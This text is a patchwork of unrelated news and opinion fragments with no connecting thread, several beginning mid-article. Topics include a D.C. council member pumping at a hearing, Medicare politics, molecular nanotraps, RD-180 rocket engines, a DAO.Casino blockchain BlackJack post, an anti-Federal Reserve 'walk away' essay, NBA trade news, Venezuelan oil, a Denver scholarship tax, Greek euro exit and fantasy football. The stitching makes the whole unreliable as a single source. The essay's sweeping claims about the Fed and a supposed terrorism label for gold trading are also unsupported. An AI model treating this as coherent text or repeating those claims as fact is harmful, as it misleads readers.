Nadeau, who is the first D.C. Council member to give birth while in office, said a demanding schedule had sometimes necessitated blending the roles of new mother and lawmaker. She said she was answering emails from constituents after delivering her daughter, and she was back on the dais five days after giving birth.
She is also running for reelection. (Four Democrats and one independent candidate have entered the race; the Democratic primary will be held in June.)
Pumping is often a cumbersome process that involves lugging a bag of equipment to a private space near an electrical outlet and getting partially undressed.
Federal law requires that large employers give mothers breaks so they can pump milk, and a sanitary and private space that is not a bathroom.
Increasingly, mothers do not like to be "tethered to the plug" and told they have to stop whatever work they are doing and go somewhere different, said Julia Beck, founder of the It's Working Project, which helps companies bring parents back into the workforce.
At the same time, more women are comfortable breast-feeding publicly, and some newer pumps are making it easier to do so.
During a break from the hearing, Nadeau said she wore a hands-free pump called a "Freemie"with cups that she tucked into her bra before the meeting. She plugged in a motor beneath the desk. "All I had to do was connect the tubes and turn on the power," she said. "It was not even that loud."
But as more women have gotten praise for their public stance on breast-feeding and pumping — country singer Jessie James Decker has posted Instagram photographs of herself pumping breast milk in dressing rooms and Australian senator Larissa Waters cast a vote while breast-feeding her daughter last spring — there have also been efforts to stop women from following in their footsteps.
In Wisconsin this fall, the Eau Claire City Council voted to ban children from the council dais during meetings, after council member Catherine Emmanuelle said she planned to breast-feed her baby during meetings so she could fully participate.
Emmanuelle said she has the right to breast-feed her child in public. Her colleagues said that they had the right to minimize distractions during public meetings.
During the hearing at the Wilson Building, Nadeau, who is the chairwoman of the Committee on Human Services, was often the only council member on the dais.
Colleagues asked about her decision to pump were supportive.
"Council member Nadeau has business to do. She can run a hearing and if she needs to pump, she can do it," said council member Charles Allen (D-Ward 6), a father of two young children who pushed for changing tables in the city hall bathrooms."It's not an abnormal thing; it's very natural thing, and frankly, we encourage it."
Damon King, a policy advocate at the Legal Aid Society of the District of Columbia, was among the witnesses in the hearing room when Nadeau began pumping. He said he wasn't fazed by her announcement.
Republicans were warned that if their nominee made even sympathetic noises about Medicare reform, it would be politically poisonous. Mitt Romney, to his great credit, ignored the warnings. … Fighting Democrats to a draw on Medicare — including the fact that Republicans retained comfortable control of the House — may well be seen one day as a key moment in American politics, when “Mediscare” attacks finally lost their potency. The campaign showed Republicans that it pays to deal with attacks head-on rather than run from them, that treating the American people in a mature fashion pays dividends, and that calm, persistent and well-reasoned arguments can overcome demagoguery.
It is true that Medicare played a fairly small role in the campaign, and that predictions by some pundits that Ryan’s Medicare proposal would prove fatal were not born out. But did Romney pull this off by reasoning with Americans about the need to reform Medicare? Here’s the message the ticket used:
What they did here was run to Barack Obama’s left on the issue. Here was their message: Obama wants to cut Medicare and give the money to other people, people who are not you. Republicans will keep every cent in the program. The only reference to change is a clause in a sentence promising to “strengthen the plan for the next generation,” which simultaneously assures that any changes will not happen for years and years and casts those changes as something other than a funding cut.
The Republican positioning on Medicare has set the tone for the current budget impasse. Obama is asking for $1.6 trillion in higher tax revenue. Republicans are demanding more spending cuts, but they won’t say how much they want, let alone what specifically they will cut. The current party thinking on Medicare, sanctified by Romney and Ryan, has defined itself as matching or even outspending Obama on Medicare for anybody aged 55 and up. That would lock out any budget savings at all for the next decade, and make any savings roll in extremely slowly afterward.
Republicans could present a plan like that in negotiations — deep Medicare cuts that don’t start to take effect until 2022. But, since the two sides have already cut discretionary spending to the bone, that would necessarily require that any deal necessarily have far more tax hikes than spending cuts over the next decade. But Republicans don’t want that, either. It’s not clear that their goals can be expressed at all, at least not in arithmetically coherent form.
Hence their current demand that Obama formulate a proposed slate of entitlement spending cuts on their behalf. Right now Republicans seem to need Obama to conduct both sides of the negotiation.
In a paper published in Physical Review A, a team composed of Ali Passian of the Department of Energy’s Oak Ridge National Laboratory and Marouane Salhi and George Siopsis of the University of Tennessee describes conceptually how physicists may be able to exploit a molecule’s energy to advance a number of fields.
“A single molecule has many degrees of freedom, or ways of expressing its energy and dynamics, including vibrations, rotations and translations,” Passian said. “For years, physicists have searched for ways to take advantage of these molecular states, including how they could be used in high-precision instruments or as an information storage device for applications such as quantum computing.”
Catching a molecule with minimal disturbance is not an easy task, considering its size – about a billionth of a meter – but this paper proposes a method that may overcome that obstacle.
When interacting with laser light, the ring toroidal nanostructure – sort of like a doughnut shrunk a million times — can trap the slower molecules at its center. This happens as the nano-trap, which can be made of gold using conventional nanofabrication techniques, creates a highly localized force field surrounding the molecules. The team envisions using scanning probe microscopy techniques to access individual nano-traps that would be part of an array.
“The scanning probe microscope offers a great deal of maneuverability at the nanoscale in terms of measuring extremely small forces,” Passian said. “This is a capability that will undoubtedly be useful for future trapping experiments.
“Once trapped, we can interrogate the molecules for their spectroscopic and electromagnetic properties and study them in isolation without disturbance from the neighboring molecules.”
While previous demonstrations of trapping molecules have relied on large systems to confine charged particles such as single ions, this new concept goes in the opposite direction, at the nanoscale. Next, Passian, Siopsis and Salhi plan to build actual nanotraps and conduct experiments to determine the feasibility of fabricating a large number of traps on a single chip.
“If successful, these experiments could help enable information storage and processing devices that greatly exceed what we have today, thus bringing us closer to the realization of quantum computers,” Passian said.
Salhi envisions a similar future, saying, “These advances are unveiling the beauty of the optical response for many complex geometries and opening the door to handcrafting the electromagnetic environment. We envision applications not only for trapping but also in designing new optically active devices.”
Publication: Toroidal nanotraps for cold polar molecules
Featured Image: With a nano-ring-based toroidal trap, cold polar molecules near the gray shaded surface approaching the central region may be trapped within a nanometer scale volume. Credit: ORNL
While you wait for the weather to perk up again, it's worth checking out your local plant shop or nursery to see some good greenery and learn how you can best prepare your garden for the spring (when it finally comes).
That's why we've put together a select list of the top plant shops, garden centers, and nurseries* in Philly proper. Take a look, and if you don't see your favorite on the list, leave a comment and tell us why you love your local plant shop.
WASHINGTON – Efforts to stop using Russian-made engines on rockets carrying U.S. military satellites have run into trouble because of partisan battles over Pentagon budgeting and the terrorist detention camp at Guantanamo Bay.
Language to continue the phase-out of the RD-180 engines by the end of the decade is part of a defense authorization bill that President Obama has threatened to veto. His reasons: The bill also contains Republican provisions that would prevent Obama from closing the prison camp in Cuba and would try to sidestep automatic “sequestration” spending cuts at the Pentagon.
White House spokesman Josh Earnest said last week that GOP lawmakers are being "irresponsible” in seeking to exempt defense programs from the cuts while the rest of government — including the FBI, CIA and National Security Agency — must abide by them.
It’s “certainly not the most effective way to provide for the national defense of the United States,” Earnest told reporters.
Obama’s threat to veto the 2016 National Defense Authorization Act comes as lawmakers are pressuring the Air Force to ramp up competition in the satellite program and limit the use of RD-180s — proposals the Pentagon supports. The engines have powered dozens of launches by United Launch Alliance (ULA), a joint venture between Boeing and Lockheed Martin.
The measure would allow ULA to buy four more Russian engines — up from five now. The company has for years launched all national security satellites for the Pentagon. Its Atlas V rocket uses the RD-180.
But the authorization bill also is designed to spur competition between United Launch Alliance and SpaceX, the upstart aerospace firm that uses a domestically produced engine for its Falcon 9 rocket capable of delivering some national security payloads into orbit. SpaceX recently became the only other firm to win Air Force certification for the work.
Under the bill, the $1 billion annual payment that United Launch Alliance receives under its arrangement with the Pentagon — SpaceX calls it a subsidy — would end by 2019. At that point, ULA would have to begin factoring the payment into its bids, a requirement that SpaceX officials say would make their company even more competitive.
Air Force officials have relied solely on ULA for nearly a decade to carry national security spy hardware into orbit. The alliance celebrated its 100th launch earlier this month, when an Atlas V carried a Mexican communications satellite into orbit from Cape Canaveral in Florida.
But the landscape has changed since ULA launched its first satellite for the Pentagon in 2006.
SpaceX has emerged as a viable and aggressive competitor, and it's eager to show it can launch satellites for a fraction of the cost when the next round of bids is submitted in the coming weeks. In addition, increasing tensions between Moscow and Washington over Russia’s aggression in Ukraine and Syria have prompted lawmakers to phase out use of the RD-180.
Those efforts have been led by Senate Armed Services Committee Chairman John McCain, R-Ariz., who said earlier this year that continuing to buy the engines would send “hundreds of millions of dollars to (Russian President) Vladimir Putin and his cronies.”
Sen. John McCain, R-Ariz. speaks on Capitol Hill on Sept. 22, 2015. (Photo: Evan Vucci, AP)
If ULA runs out of those engines too soon, it also could run out of the time and money it needs to develop a rocket powered by new American engines. ULA chief Tory Bruno said that could produce the same monopolistic environment the Pentagon wants to eliminate, except that SpaceX instead of ULA would be handling all the launches.
"Without those engines, we are unable to fly Atlas in the national security marketplace," Bruno told reporters this month. "So that would take the workhorse of what has put two-thirds of the nation's most critical capabilities in orbit out of that market, and really almost kill competition before it's had a chance to get started."
ULA also operates a Delta IV rocket powered by U.S. company Aerojet Rocketdyne’s RS-68 engine. But the bulk of ULA's satellite launches for the Air Force have used the Atlas V.
Bruno also said the four new RD-180 engines the defense bill would provide isn't enough. He said the company needs 14 more to bridge the gap until its new, domestically produced Vulcan rocket is ready.
The bill (as well as existing law) allows the secretary of Defense to waive the restriction and grant ULA permission to buy more Russian engines if it's necessary "for the national security interests of the United States” and Congress is notified.
On Friday, ULA learned the Air Force had rejected its latest request for more engines.
Contributing: James Dean, Florida Today, and Lara Seligman, Defense News
We have powered up Multiplayer with Payment Channels, which boosted speed and reduced transaction cost. Implementation of this technology is a new step in using P2P communication channels between players “offchain”. All transactions occur directly between participants through the channel, and only after they decide to close the channel, the data is written to the blockchain.
Multiplayer benefits
Deployment of multiplayer is a very important step in protocol evolution. A lot of games in gambling world are based on interaction between players, both in social and game parts. From now on, we can more effectively develop new game contracts (such as poker contract, for example) with multiplayer feature.
This also simplifies work for independent developers. In order to develop multiplayer blockchain games, they can use our experience and our code. What concerns big casino operators, most of their games uses multiplayer elements. Obviously, availability of multiplayer will certainly benefits us during the protocol integration into their systems.
All of the above extends the functionality of our token. In addition, holders of our token receive additional opportunities to become a bankroller and to provide game sessions. All these circumstances create reliable prospects for DAO.Casino as a pioneer and architect of the industry.
Why BlackJack?
BlackJack is a comparing game between several players and a dealer, where each player competes against the dealer. But even though players don’t interact with each other, in a normal casino environment you would sit with other people at one table. It is a social experience, which makes multiplayer an important part of this game. That’s why it is perfect for p2p experiments.
Whoever downloads and runs our Bankroller App becomes a dealer, and has his own table that people can join and play. Let’s take a closer look at how this technology works and describe in detail its mechanism
Technology Summary
Our new BlackJack combines “onchain” transactions — interaction with the game’s smart contract and a secure p2p communication “offchain” (in the channel). This method combines a Solidity contract and a client-side functionality.
According to Jeff Coleman’s explanation of state channels this method can be considered a state channel implementation. This particular implementation uses WebRTC for the peers to communicate, EDSA for signing off chain transactions and ecrecover function for signing and verifying signatures with Solidity.
We also added a feature that allows a bankroller to create several “rooms” with different players. When the first “room” is filled with three players (max capacity for BlackJack), the bankroller can create another one to support other players with the funds. Such feature allows bankroller to back as many games, as he could. From the other hand, new players will have more chances to find a room for playing.
Workflow
Now let’s look at how the multiplayer backend functions. First of all, players join the bankroller’s “table” via WebRTC protocols, which enables real-time communication over peer-to-peer connections without the need for plug-ins or other requirements. This allows web browsers to not only request resources from servers, but also real-time information from browsers of other users. RTC stands for real time communication.
“There are two classes in the game: RoomJS and LogicJS. These classes are duplicated in Bankroller App. We have 3 clients and 1 bankroller with the same game logic. The player chooses a bankroller address, amount of BET to deposit and sends a tx to the bankroller’s contract”
Alexander Stepanchenko, DAO.Casino Full Stack Developer
“That’s when the channel is created. The room is also created at the same time, unless it has been created before. All the participants (lets say 3 players and 1 bankroller) initialise RoomJS class, in which initialisation of LogicJS for all participants takes place”
Sergey Pomorin, DAO.Casino Game developer
Game Session Sequence
Player sends a tx to the game contract, indicating that he’s ready to play. By sending a tx, player also creating a channel. This is a standard Ethereum tx which is propagated through devp2p network and is recorded into Ethereum blockchain. Now bankroller (a person who installed a Bankroller App) can see that someone wants to play. Bankroller opens a room — that means that the players can now connect to the Bankroller App p2p without intermediaries. It’s a bit like having a BlackJack table people can come to. Once player joined a table he can see others playing against the dealer. Each player has an “offchain” channel between them and a dealer, using same signatures that are used on Ethereum network, yet the tx are only added to the block in Ethereum blockchain when the channel is closed. Player can close the channel any time when he decides to stop playing.
“After one round is played, a player can either start a new game or take their BET they have won and leave. When a player leaves the channel closes (that’s a tx to the contract). In a current test implementation the channel for all players closes when just one player wants to close it. When one of the players closes a channel all the players leave the room. This is of course a temporary solution”
Sergey Pomorin, DAO.Casino Game developer
Conclusion
Multiplayer is a very important upgrade for the BlackJack contract and the entire DAO.Casino protocol. It enhances the integrity of the protocol and encourages casino operators and independent developers to implement our product, which means raising the functionality of our BET token. And since multiplayer is ready, our developers will now concentrate their efforts on the new game. Which one? Soon we will announce, stay tuned!
DAO.Casino Essential Links
Website: https://dao.casino
Prototype: https://platform.dao.casino
GitHub: https://github.com/daocasino
Email: team@dao.casino
White Paper: https://github.com/DaoCasino/Whitepaper/blob/master/DAO.Casino%20WP.md
Slack Invite: https://dao.casino/slack-invite.html
Facebook: https://www.facebook.com/Dao.casino/
Twitter: https://twitter.com/daocasino
Blog: https://medium.com/@dao.casino/
Existentialists, of course, automatically jump to the conclusion that “Before The Law” is a message of the absurd nature of man’s search for reason and structure in a universe of random coincidence. That “the law”, as it were, is a superficial concept that humanity uses to make life more bearable. That we seek to create artificial social constructs in order to keep ourselves afloat in a sea of chaos. This is partly true. The law is, indeed, an abstraction conjured by men. However, the source of the most fundamental laws, being inherent conscience, is far from abstract. In fact, it is one of the few aspects of our existence that is undeniably tangible and universal. It is proof that all is NOT random, and that there is a meaning and a purpose to what we do here and now.
I see “The Trial” and “Before The Law” not as treatise on the futility of man’s search for justice, but as a warning on the foolishness of man’s dependency on systems not rooted in conscience. That is to say, we have a tendency to linger about idly while others make our decisions for us. We expect the system we live in to provide answers, to provide nurturance, to provide fairness, and to provide change where necessary. This expectation is a dangerous one.
Most social and political systems today are designed around collectivist methodologies. Their primary tool is centralization of power, and the removal of choice from the public consciousness. We are made to believe that the establishment is necessary for our survival, and that to abandon it would mean certain destruction. We are taught that the individual is subservient and inconsequential in the face of the state. This is simply not so. Like the traveler in “Before The Law”, we have been defeated by our own expectations of how the law (or justice) works. We sit and wait for permission, when we should be charging through the gates and taking what is rightfully ours.
Even amidst recent and increasingly prevalent protest actions on the part of Occupy Wall Street groups, there are still some within these movements who believe the answer to fighting back against the corruption of banking cartels and puppet politicians is to hand even MORE power over to the state, and to collectivize our culture still further. The ignorance of this mentality is no less than astonishing.
The only practical strategy for combating the tyranny of centralized systems has been and always will be decentralization. Individuals must stop relying on the rules of a rigged game to see them through to the truth. This means that while mass protests are certainly a powerful tactic for voicing concerns on an international stage, they accomplish little to nothing in the way of meaningful change in the long run unless they are backed by individual actions to break away from dependency upon a poisoned political and economic framework.
The common assumption amongst Americans is that nothing can be done without mass action resulting in “compromise” from leadership. That the healing of our cultural dynamic is a “top down” process. That one person alone has little at his disposal for bettering the world. In fact, it is always self aware and self sustaining individuals who build better societies, not angry mobs without understanding or direction. Individuals blaze the path that the rest of the world eventually follows, and they do this through one very simple and effective act; walking away.
By walking away from the corrupt system, and building our own, we make the establishment obsolete. This philosophy could be summed up as follows:
Provide for yourself and others those necessities which the corrupt system cannot or will not, and the masses (even if they are unaware) will naturally gravitate towards this new and better way. Offer freedom where there was once restriction, and you put the controlling establishment on guard. Eventually, they will either have to conform to you, attack you, or fade away completely. In each case, you win. Even in the event of attack, the system is forced to expose its tyranny and its true colors openly, making your cause stronger.
The obvious question now is; how can each one of us use this strategy in our daily lives? Here are just a few easy applications:
1) Focus On The Federal Reserve
If you as an activist or the movement you support are not fully aware of the private Federal Reserve Bank and its primary role in the destruction of our economy, our currency, and our political dynamic, then your protests are a waste of time, and your movement will end in failure. Uneducated mass actions are easily manipulated, and can even end up serving the purposes of those oligarchs they seek to dethrone. G. Edward Griffin’s full analysis on the history of the Federal Reserve “The Creature From Jekyll Island” and similar materials should be handed to every OWS protester before it is too late.
2) Take Back Your Savings
Do you have a bank account with one of the so called “too big to fails”? Is the culmination of your savings currently in the hands of financial monstrosities like Bank of America, JP Morgan Chase, Citigroup, etc? Well, take your money back! This has been done by a few protestors and the response from banks has been outlandishly oppressive, including new guidelines attempting to obstruct customer access to savings, and even calling the police! This tells me that they are afraid. Afraid of Americans catching wind of the idea that the money they place in the accounts of bad banks is still theirs to do with as they will. If you don’t like how these institutions operate, don’t let them have your money. It’s as simple as that. Not only is this an act of defiance that truly hurts the banking system, it also protects your hard earned wealth (at least initially) from the inevitable collapse of these fiscally insolvent blood leaching leviathans (watch Bank of America closely, folks!).
3) Use Alternative Currencies
After you take your savings away from the banks, you still aren’t quite free of their influence. You are now holding fiat dollars, which the Federal Reserve, the foundation of all banking fraud, is currently devaluing. The idea of walking away from the dollar sounds ridiculous or even frightening to those trapped in the centralization mindset, but it is a highly effective method for combating the system itself. The dollar is a sham, and has been since its future was handed over to the Fed in 1913. Alternatives exist, and they must be utilized. Communities across the country use various scripts as a means to diminish reliance on the dollar, but ultimately, the best currencies are those that cannot be created out of thin air unhindered. This means gold and silver.
Central banking proponents have been railing against even the concept of a return to gold and silver currencies for years, and the Department Of Justice has labeled the use of such alternatives in place of dollars as a form of “domestic terrorism”. This should tell you, quite clearly, that they are deathly afraid of activists organizing to drop the dollar to pursue metals. If the system is willing to use the law as a weapon to keep us from having sound money, then we should be rubbing their nose in it daily by trading without dollars. They should be forced to react, and in the process, forced to expose their true intentions for our economic futures.
4) Build Barter Networks
If a bunch of people can band together to huddle in parks with signs for weeks in cities across the nation, then they can band together to trade goods and services outside the establishment system as well. Barter networks grow spontaneously out of economic collapse regardless of what any group decides to do, but generally, they appear AFTER the worst has happened. Wouldn’t it be wiser to organize such markets now, before a full collapse takes place? By preempting disaster with a backup or failsafe free market barter economy in each town and city, we insulate ourselves from the effects of the crisis, and, we cut loose from our dependency on the controlled mainstream economy. Localized trade makes it possible to walk away from corporate chains and maintain the circulation of wealth within a community, while countering the increasingly higher taxes caused by austerity and inflation that we are likely to see in this country very soon. It really is a no-brainer.
5) Grow A Garden
I don’t know how to say this nicely; don’t be a jackass, learn to grow your own food. Don’t expect that our economy will continue to sustain you. Actually, you should have every expectation that it won’t! If every Wall Street or Fed protester had their own garden patch and some stored goods, we would all be much safer. Food dependence is the worst kind. It has been used by governments and despots for centuries to cull the masses and dissuade dissent.
Sharecropping should be common in every community. Neighborhood gardens should be standard. Every household should have a year’s worth of food. Period.
Imagine that you lose your job and every cent you have tomorrow. Imagine that mom and dad are broke and have no money to lend you. Imagine that food stamps are a thing of the past because the national debt has become so exponential that entitlement programs have been erased. Now, how do you live from day to day? Where do you get the nutrition required for you to continue holding up that sign or shouting that slogan? Think about it...
6) Start A Micro-Industry
If the U.S. economy is ever going to get on its feet again, it will be because average Americans bring it back through local industry. This means ending our community addictions to corporately produced goods and returning to specialized trade skills. It means coalitions of local farmers, craftsmen, and micro-industries providing goods and services with a city or county based market focus. Large manufacturers and business chains relying on the model of globalization will have absolutely no ability to rebuild mainstreet commerce, even if they wanted to, because their methods depend upon constant outsourcing and downsizing for survival. Private tradesmen will be the only people capable of filling the dark void these corporations leave behind.
7) Start An Activist Group
The establishment HATES when you do this. The spontaneous organizing of groups outside government or corporate purview has generated notoriously absurd responses from authorities, including accusations of “extremism”, infiltration, and wrongful arrest. If this sounds frightening, then I suggest you get over it quickly, because this is going to be the norm for many years to come. The evils of the world are not undone by apathetic naysayers anymore than they are undone by mindless mobs. Without the coordinated actions of aware individuals with a common focus, nothing is going to change.
This group could be something a simple as a local barter network or a political discussion forum, or, a complex national organization geared towards tangible political action. It doesn’t matter as long as it’s based on the promotion of Constitutional freedoms, and its leadership is decentralized. Just make it happen…
At bottom, if we want to fight back against a system we cannot take back through traditional means, then we must learn to walk away. If the system feeds us, clothes us, and shelters us at will, then ordinary protest is pointless. Our tender parts are in a rusty vice on the autocratic workbench and until we pull them out, no amount of screaming and pounding will improve our situation. Independence is won through the constant striving for self responsibility. Freedom is won through a position of personal strength, not weakness and self-enslavement.
Numbers alone do not make a movement, and the elites we currently work to supplant are not going to flinch at a few random protests. In all likelihood they will welcome these actions as a useful distraction. Tyrants don’t fear the torches and pitchforks anymore. What they do fear is balanced insight, self reliance, and exceptional force of will. A handful of men with these attributes are far more dangerous to a corrupt system than thousands of citizens driven only by insatiable anger. To overcome oppression, we must first overcome ourselves. The ability to step outside the paradigm, the ability to act without permission, and charge the gates without apprehension, is the key to toppling totalitarian systems and exposing the great lie of our age; that we cannot exist without the cage we were born into.
You can contact Brandon Smith at: This e-mail address is being protected from spambots. You need JavaScript enabled to view it
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A league source confirmed a published report that the Wizards were close to completing a deal with the Los Angeles Clippers at the trade deadline that would have resulted in a reunion with Caron Butler.
NBA.com’s David Aldridge reported that the Wizards and Clippers had agreed to a swap of Butler for Trevor Ariza late Wednesday night but Clippers owner Donald Sterling rejected the deal because he didn’t want to disrupt the chemistry of a 40-18 team that currently has the third-best record in the Western Conference, or risk upsetting Chris Paul, who will become an unrestricted free agent this summer.
Butler spent four and a half seasons in Washington, making two all-star appearances and earning the nickname “Tuff Juice” as a member of a high-scoring trio with Gilbert Arenas and Antawn Jamison. The Wizards dealt Butler to Dallas at the trade deadline in February 2010 to begin the rebuilding process after President Ernie Grunfeld finally decided to break up the team after the Arenas gun incident.
Grunfeld acquired Butler in the summer of 2005 after trading disappointing former No. 1 overall pick Kwame Brown to the Los Angeles Lakers and it remains one the best trades of his tenure in Washington. Butler still maintains an offseason home in Virginia, has always declared his love for the region and would’ve been open to playing for the Wizards again, according to a source.
Butler won a championship in Dallas in 2011 but was unable to play because of a knee injury. He has been relatively healthy in Los Angeles and is averaging 10.3 points and 2.9 rebounds as a starter for the Clippers, but Ariza actually has a higher player efficiency rating at 13.6 (compared to 12.4) and is five years younger.
Ariza, 27, has an early termination option on his contract and could become a free agent this summer if he decides to pass on the $7.7 million remaining on his deal next season. Butler is slated to earn $8 million next season.
“The day that they don’t want us to sell them our oil, we are just picking up our stuff [and] we’ll sell all our oil in Asia. No big deal,” AFP quoted Maduro as saying on Tuesday, while he was formally installing General Manuel Quevedo to lead debt-stricken state oil producer PDVSA.
According to OPEC’s secondary sources, Venezuela’s crude oil production was 1.863 million bpd in October, down by 43,600 bpd from September. While Venezuela has been desperately trying to stave off what most see as an inevitable default, its production has been progressively dropping every month this year. U.S. imports of crude oil from Venezuela have also been dropping in recent weeks, according to EIA data—in many weeks to below 500,000 bpd from some 700,000-800,000 bpd earlier this year. In January and February 2017, shipments to the US even topped 1 million bpd.
“Mr President Donald Trump: you decide, dude,” Maduro said, as quoted by AFP.
“If you want us to keep selling oil, we’ll sell oil. But if you start listening to far-right extremists, Venezuela is grabbing its little boats and taking its oil around the world, and we’ll sell it just the very same,” Maduro said. Related: U.S. Oil Has One Fatal Weakness
At the end of August, the U.S. stepped up its sanctions on Venezuela, prohibiting dealings in new debt or equity issued by PDVSA or the government. Maduro claims that the string of U.S. sanctions imposed this year on Venezuela amount to “financial persecution”.
In a surprise move over the weekend, Maduro named a National Guard major general as the new head of PDVSA and the country’s oil ministry— Manuel Quevedo.
Quevedo vowed on Tuesday to end corruption at PDVSA, but didn’t mention how he would approach the company’s huge foreign debt. Analysts and bond investors will be closely following Quevedo’s statements and moves to try to figure if the new chief will continue Maduro’s policy to try to service debt at all costs—even if payments are late—despite cash reserves quickly running out.
By Tsvetana Paraskova for Oilprice.com
Herndon, who represents northeast Denver, will introduce the so-called Denver Scholarship Promise bill at a council committee meeting Wednesday. The committee would have to advance the bill to the full council that would have to approve the measure by the end of August for the November ballot.
But some question Herndon’s timing, given that the bill that would seek to raise Denver’s sales-tax rate by a tenth of a cent, sunsetting in 10 years, would be on the same ballot as a statewide $950 million tax increase for K-12 education; also, the city is mulling asking voters to approve a retail marijuana sales tax.
Herndon’s scholarship tax increase would basically replace the stadium tax that was retired in December 2011. It would collect approximately $11 milliona year for the Denver Scholarship Foundation, a fund that would be augmented by private fundraising.
“We have an opportunity to do something tremendous,” Herndon said. “This is about growing human capital and saying to Denver kids, ‘If you are a successful student, you can go to college.’ “
Denver oilman Timothy Marquez and his wife, Bernadette, created the foundation in 2006 along with then-Mayor John Hickenlooper and a $50 million endowment — fashioned after the Kalamazoo, Mich.-based scholarship program that was funded by wealthy anonymous donors.
The Denver Scholarship Foundation has paid for “future centers” in 16 Denver high schools that guide students through college applications and financial-aid processes. It provides scholarships to low- and middle-income Denver Public Schools graduates for 39 participating technical schools, community colleges, four-year colleges and universities in Colorado. And it helps students with their studies when they are in college.
Since the fall of 2007, the foundation has awarded $17 million in scholarships for more than 3,300 DPS graduates. But the fund is depleting. Tax documents show the foundation had $34.5 million in total net assets in June 2012 and generated $6.4 million in revenue that same year.
The fund would be able to survive in perpetuity with the 10 years of tax help and annual private fundraising, said Rick Reiter, who is leading the campaign. Reiter said early polling and focus groups show strong support for the concept.
“In fact, initial polling is stronger in intensity for this idea than for Denver Measure 2A, which passed in 2012,” Reiter wrote in a memo to supporters.
Marquez said the vote would make Denver the first city in the country to have a dedicated tax for college scholarships.
“This is a game changer,” he said. “We would be the first city in the country or world to do something this bold. We have a nice business coalition put together, normally people who would be anti-tax are giving support.”
Gail Klapper, director of the Colorado Forum that is leading the state education tax initiative process, said her group is aware of the city’s possible tax proposal and has yet to decide whether to support it.
Denver Mayor Michael Hancock said he is a big supporter of the Denver Scholarship Foundation but is not sure a city tax is a good idea with several key tax proposals coming in future elections, including reauthorization of the Denver Preschool Program tax and the city’s Science and Cultural Facilities District tax as well as transportation issues.
“I’m real concerned about the impact on those future efforts that are going to have to occur within the next few years,” he said. “And there is the question whether this is the appropriate vehicle to finance those scholarships. We are taking a serious look at the legislation now and will make a determination real soon.”
First, the first line of defense against euro exit has been overrun. Way back when Barry Eichengreen made an argument many of us found persuasive, namely that no country would dare even hint at leaving the euro because such a move would trigger “the mother of all financial crises” as everyone raced to pull funds out of banks. As some of us noted, however, this would become moot if the financial crisis and bank runs happened in advance, Argentine style, forcing the imposition of capital controls and other measures.
As it turned out, the Argentine scenario was headed off by the political determination of elites to stay in the euro and the success of the ECB’s “whatever it takes” declaration of willingness to act as lender of last resort. But the reprieve wasn’t permanent; in this respect, at least, Athens 2015 is Buenos Aires 2001. Financial stability is already greatly compromised, so the costs of thinking about the formerly unthinkable have fallen.
How did we get to this point? Nothing fills me with quite as much despair as the persistence of the story line that it’s all about continuing Greek fecklessness, that the Greeks haven’t done anything. In fact, Greece has imposed almost inconceivable pain on itself. Here’s a comparison between Greece and Spain, the current favorite son of the austerity camp (although the Spaniards themselves aren’t impressed):
Photo
The problem has been that severe spending cuts in an economy with no independent monetary policy and no ability to devalue lead to severe economic contraction, which in turn means that a large part of what’s gained fiscally at the front end gets lost via reduced revenue. This isn’t the fault of the Greeks, it’s basically a design flaw in the euro itself.
So what about Grexit? At this point quite a few people on the creditor/Troika side of the negotiations seem almost to welcome the prospect. But this is bizarre in terms of their underlying interests. Yes, the lives of the officials would become easier, for a while, because they wouldn’t have to deal with Syriza. But from the point of view of the creditors, Grexit would be a pure negative. They would almost surely receive less in payments than they would under any deal that keeps Greece in, and the proof that the euro is in fact reversible would grease the rails for future crises, even if the ECB is able to contain this one.
And as Martin Wolf points out, Greece will still be there, and will still need dealing with.
The Greeks, on the other hand, should feel conflicted. There would probably be a lot of financial chaos in the immediate aftermath of euro exit. And maybe the apocalyptic warning from the Bank of Greece that devaluation would push the nation back into the Third World is right, although I’d like to know about the model and historical examples that would justify this claim. But absent that kind of implosion, a devalued currency should eventually produce an export-led recovery — I understand the cynicism one hears, but demand curves do slope downwards even in Greece.
When Branden Oliver is ranked in the top 10, when guys like Justin Forsett are top 15, when Rueben Randle cracks the top 20 and Travis Kelce is top 10 ... it's been that kind of season. Tom Brady returns to the top 10 this week, as does Cam Newton, a reflection of their improving health and/or improving role players around them, on-field performance , health and matchup.
Meanwhile, a bad matchup on the road and the likely absence of top target Jimmy Graham puts Drew Brees outside the top 10 this week. It's the first time I can remember that happening since he and Sean Payton came to New Orleans. For a Thursday lineup setter, a balky hammy and short rest against Darrelle Revis has Eric Decker lower that he'd normally be for me.
Those looking for free-agent suggestions should note the relative high ranks of widely available players like Carson Palmer and Joe Flacco. I don't think Flacco throws five scores again, but I also don't believe in Atlanta's defense. Seriously, I'm not sure they exist. Prove to me they do. Andre Williams, Jerick McKinnon, Brandon Bolden, the aforementioned Randle and his teammate, Odell Beckham Jr., the Oakland boys -- Andre Holmes and James Jones -- and Jordan Reed are out there in way too many leagues. Despite what might seem like an imposing matchup (I don't think it's that bad), Jared Cook continues to be a focal point for Austin Davis and the St. Louis Rams.
As always, these rankings are updated throughout the week, so check back often. They are based on ESPN standard scoring (non-PPR, four points per touchdown pass. Good luck in Week 7!
Last update: Friday, 11:40 a.m. ET
Matthew Berry's Flex rankings for Week 7
Matthew Berry's quarterback rankings for Week 7
Matthew Berry's kicker rankings for Week 7
In April 2011, the Province of Alberta invested $25 million to form the “Helmholtz-Alberta Initiative” that would study ways to deal with leakage from the toxic tailings ponds that are a by-product of tar sands mining operations. The HAI was also tasked with finding ways to upgrade the energy extracted from bitumen and lignite coal in order to reduce energy consumption, and a few other “sustainable solutions” to Canada’s ongoing environmental and energy challenges.
Speaking on behalf of the Helmholtz Association, Professor Frank Messner, told EU media that:
“It was seen as a risk for our reputation. As an environmental research centre we have an independent role as an honest broker and doing research in this constellation could have had reputational problems for us, especially after Canada’s withdrawal from the Kyoto Protocol.”
The Helmholtz Association has come under fire recently for their work on Alberta’s tar sands operations, most notably in 2012 when Germany’s Green Party (a very powerful political player) filed a query to the German government, asking why German taxpayers’ money was going into a project that contradicts Germany’s official climate policy agenda.
The response at the time from government was very evasive and concluded that the project had only just started and that it was too early to say anything more substantial.
This recent news is the latest in a string of stories about the Alberta tar sands and climate policy damaging Canada’s reputation abroad.
Earlier this year, former BC Premier Gordon Campbell, and current High Commissioner to the UK, stated in a meeting that Canada’s tar sands are “a totemic issue, hitting directly on Brand Canada.”
Republished with permission from DeSmog Canada
